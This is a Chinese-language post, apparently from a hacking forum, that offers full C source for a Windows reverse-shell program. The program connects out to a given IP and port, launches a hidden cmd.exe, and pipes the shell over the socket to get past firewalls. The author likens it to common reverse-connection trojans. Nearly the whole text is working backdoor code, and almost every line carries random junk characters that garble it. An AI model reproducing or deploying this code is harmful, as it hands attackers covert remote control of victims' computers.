这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uFA|rX
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/* ============================== "-~D!{rS
Rebound port in Windows NT 5~<a>>
By wind,2006/7 Ivd[U`=Q
===============================*/ /ze_{{o
#include rFt ,36#
#include @w.b |
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#pragma comment(lib,"wsock32.lib") )-TeDIfm
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void OutputShell(); B5?c'[V9
SOCKET sClient; gMoyy
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'Wx\"]:
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void main(int argc,char **argv) SevfxR
{ g'd*TBnk
WSADATA stWsaData; +Y.uZJ6+
int nRet; J*^,l`C/
SOCKADDR_IN stSaiClient,stSaiServer; 4N%2w(,+8
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if(argc != 3) goBKr: &]w
{ @+T{M:&l
printf("Useage:\n\rRebound DestIP DestPort\n"); 2F*Dkv
return; >M8^Jgh
} 'JW_]z1
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WSAStartup(MAKEWORD(2,2),&stWsaData); l1iF}>F2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z<,CzKs+||
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stSaiClient.sin_family = AF_INET; RT_Pd\(qD
stSaiClient.sin_port = htons(0); tnKpn-LPA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TS~Y\Cp
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t?#vb}_
{ C[87f-g
printf("Bind Socket Failed!\n"); 2y
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return; hq&
} j
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stSaiServer.sin_family = AF_INET; >X\s[d&(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [M8qU$&?]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #%=vy\r
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8wH41v67F
{ zDGg\cPj9
printf("Connect Error!"); k_|v)\4B
return; wr;|\<c
} 8n. "5,P
OutputShell(); Ep,0Z*j
} 5LhJ8$W
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void OutputShell() =J[[>H'<d
{ Zc' >}X[G
char szBuff[1024]; O>"r. sR
SECURITY_ATTRIBUTES stSecurityAttributes; ,N@Icl
OSVERSIONINFO stOsversionInfo; v[3hnLN%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e$xv[9
STARTUPINFO stStartupInfo; 0z'={6,
char *szShell; wEHrer
PROCESS_INFORMATION stProcessInformation; 6GrMcI@hS
unsigned long lBytesRead; }:c,SO!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q3pN/f;kr,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }T1Xds8w)t
stSecurityAttributes.lpSecurityDescriptor = 0; z7us*8X{
stSecurityAttributes.bInheritHandle = TRUE; nm:let7GB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >I66R;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pg& ]F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *l'$pJ X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /cg]wG!n8
stStartupInfo.wShowWindow = SW_HIDE; $et
:
stStartupInfo.hStdInput = hReadPipe; @,>=X:7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~|B!.+
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GetVersionEx(&stOsversionInfo); glKs8^W
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switch(stOsversionInfo.dwPlatformId) e5/DCz
{ V]S06>P
case 1: ??e#E[bI
szShell = "command.com"; OTtanJ?
break; .X=M!
default: 9{^B
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szShell = "cmd.exe"; :7PSZc:xE
break; XL&eJ
} a ~iEps
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t=pkYq5t8
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send(sClient,szMsg,77,0); d(B;vL@R2V
while(1) ]!Aze^7;
{ ~JmxW;|_x)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \g6 #MNW
if(lBytesRead) O@(.ei*HJ!
{ }${ZI
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ALt";8Oa
send(sClient,szBuff,lBytesRead,0); eiSO7cGy
} d8q$&(]<
else fjZveH0
{ HgBEV
lBytesRead=recv(sClient,szBuff,1024,0); qx<zX\qI6n
if(lBytesRead<=0) break; N+@@EOmH
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /a/uS3&
} E_I6
} c$SxDYG
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return;
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}